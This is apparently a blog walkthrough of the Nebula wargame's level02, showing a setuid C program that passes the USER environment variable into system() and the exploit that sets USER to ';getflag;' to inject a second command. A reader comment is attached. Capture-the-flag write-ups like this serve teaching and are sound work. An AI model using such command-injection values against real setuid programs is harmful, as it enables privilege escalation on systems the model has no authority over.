level02
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
includeinclude include include include int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
Another executable that calls system(). This time the command run is built up using an environment variable, USER.
Running the executable gives the expected result:
level02@nebula:/home/flag02$ ls -asl
total 13
0 drwxr-x--- 2 flag02 level02 80 2011-11-20 21:22 .
0 drwxr-xr-x 1 root root 400 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag02 flag02 220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag02 flag02 3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02
1 -rw-r--r-- 1 flag02 flag02 675 2011-05-18 02:54 .profile
level02@nebula:/home/flag02$ echo $USER
level02
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool
level02@nebula:/home/flag02$
The executable is suid. Notice that although it calls system() and sets the setresgid()/setresuid() so that it runs as the owner of the file, the environment variable USER is still for the real UID, level02.
It’s really easy to change environment variables though.
level02@nebula:/home/flag02$ export USER=";getflag;"
level02@nebula:/home/flag02$ echo $USER
;getflag;
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ;getflag; is cool")
You have successfully executed getflag on a target account
sh: is: command not found
level02@nebula:/home/flag02$
This is a good reason to not trust environment variables for security purposes.
Aside
I didn’t fully understand why setresgid()/setresuid() had to be called for system() to run as the file owner. I built the same executable from source to experiment, set the owner, group and permissions as needed, but it didn’t work!
I spent a fair amount of time trying to figure this out, and it wasn’t until I did:
level02@nebula:/home/flag02$ cat /etc/fstab overlayfs / overlayfs rw 0 0 tmpfs /tmp tmpfs nosuid,nodev 0 0
I was trying to run them out of /tmp/ and the whole directory doesn’t allow suid use…
mamvriti
February 10, 2015 at 12:14pmHi, I would like to ask something. Why system(…) in this problem works when you change USER variable but doesn’t work (error while compiling)when I just simply write it like system(“/bin/echo “;./echo;” is cool”) in c program? Thanks 🙂